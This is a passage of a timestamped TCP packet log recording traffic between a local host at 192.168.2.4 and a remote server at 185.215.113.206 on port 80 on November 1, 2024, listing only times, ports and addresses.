Nov 1, 2024 05:52:32.243798971 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.243808985 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.243818998 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.243832111 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.243839979 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.243843079 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.243855953 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.243860006 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.243870020 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.243897915 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.243937969 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.243980885 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.244122028 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.244133949 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.244144917 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.244154930 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.244165897 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.244168043 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.244179010 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.244185925 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.244190931 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.244203091 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.244206905 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.244225025 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.244237900 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.244257927 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.244268894 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.244280100 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.244302988 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.244323015 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.246871948 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.246882915 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.246893883 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.246928930 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.246954918 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.247008085 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.247019053 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.247029066 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.247040033 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.247056007 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.247078896 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.331609964 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.331644058 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.331656933 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.331666946 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.331679106 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.331688881 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.331700087 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.331712008 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.331716061 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.331722975 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.331754923 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.331773043 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.331784010 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.331794977 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.331799984 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.331823111 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.331846952 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.365710974 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.365722895 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.365732908 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.365742922 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.365753889 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.365767002 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.365778923 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.365811110 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.365858078 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.365865946 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.365870953 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.365884066 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.365892887 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.365900040 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.365927935 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.366013050 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.366024017 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.366036892 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.366050005 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.366075993 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.366198063 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.366209030 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.366219044 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.366229057 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.366240025 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.366241932 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.366266012 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.366292000 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.366358042 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.366370916 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.366379976 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.366406918 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.366419077 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.366555929 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.366566896 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.366578102 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.366589069 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.366591930 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.366602898 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.366612911 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.366616011 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.366640091 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.366653919 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.366681099 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.366719961 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.366847038 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.366857052 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.366872072 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.366883993 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.366887093 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.366894960 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.366908073 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.366930008 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.367007017 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.367017984 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.367028952 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.367041111 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.367044926 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.367052078 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.367063999 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.367069006 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.367075920 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.367085934 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.367095947 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.367098093 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.367105961 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.367115974 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.367116928 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.367127895 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.367130041 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.367139101 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.367153883 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.367157936 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.367165089 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.367182970 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.367194891 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.367321014 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.367331982 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.367341042 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.367351055 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.367358923 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.367367983 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.367396116 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.367507935 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.367522955 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.367533922 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.367544889 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.367547989 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.367558002 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.367568970 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.367569923 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.367579937 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.367609024 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.367660999 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.367671013 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.367693901 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.367697954 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.367717981 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.367727041 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.367852926 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.367866993 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.367892027 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.367902994 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.367912054 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.367914915 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.367938995 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.367945910 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.369548082 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.369559050 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.369569063 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.369599104 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.369616032 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.369680882 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.369693995 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.369704008 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.369718075 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.369720936 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.369726896 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.369735003 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.369750977 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.369757891 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.369777918 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.456197977 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.456285000 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.456336975 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.456351042 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.456362009 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.456374884 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.456384897 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.456387043 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.456398010 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.456406116 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.456445932 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.456629038 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.456640005 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.456650972 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.456666946 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.456692934 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.489135027 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.489147902 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.489157915 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.489170074 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.489212036 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.489228010 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.489270926 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.489281893 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.489291906 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.489303112 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.489314079 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.489326954 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.489362001 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.489408970 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.489420891 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.489429951 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.489442110 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.489443064 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.489455938 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.489465952 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.489491940 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.489587069 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.489598036 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.489608049 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.489619017 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.489625931 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.489645958 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.489670038 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.489718914 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.489731073 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.489757061 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.489767075 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.489891052 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.489902973 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.489912033 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.489923954 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.489927053 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.489936113 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.489938974 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.489948034 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.489958048 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.489988089 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.490025043 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.490036011 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.490046024 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.490057945 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.490062952 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.490082026 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.490103006 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.490211964 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.490222931 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.490241051 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.490247965 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.490252018 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.490256071 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.490277052 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.490287066 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.490381956 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.490394115 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.490405083 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.490422010 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.490446091 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.490571976 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.490582943 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.490607023 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.490616083 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.490741968 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.490753889 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.490765095 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.490777016 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.490777969 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.490787983 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.490789890 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.490806103 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.490812063 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.490818977 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.490833998 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.490869045 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.526855946 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.531722069 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.812855005 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.812891960 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.812902927 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.812916994 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.812941074 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.812947989 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.812961102 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.812971115 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.812974930 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.812992096 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.813008070 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.813016891 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.813030005 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.813033104 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.813041925 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.813055992 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.813056946 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.813097000 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.813102961 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.813122988 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.813128948 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.813139915 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.813153982 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.813163996 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.813172102 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.813184977 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.813195944 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.813198090 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.813210964 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.813221931 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.813230038 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.813234091 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.813246965 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.813255072 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.813257933 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.813267946 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.813288927 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.813302994 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.813314915 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.813339949 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.813343048 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.813360929 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.813364983 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.813374043 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.813381910 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.813388109 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.813397884 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.813415051 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.813419104 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.813430071 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.813467979 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.813478947 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.813481092 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.813491106 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.813502073 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.813522100 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.813529968 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.813563108 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.813605070 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.813623905 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.813651085 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.813662052 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.813663960 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.813673973 CET	80	49760	185.215.113.206	192.168.2.4
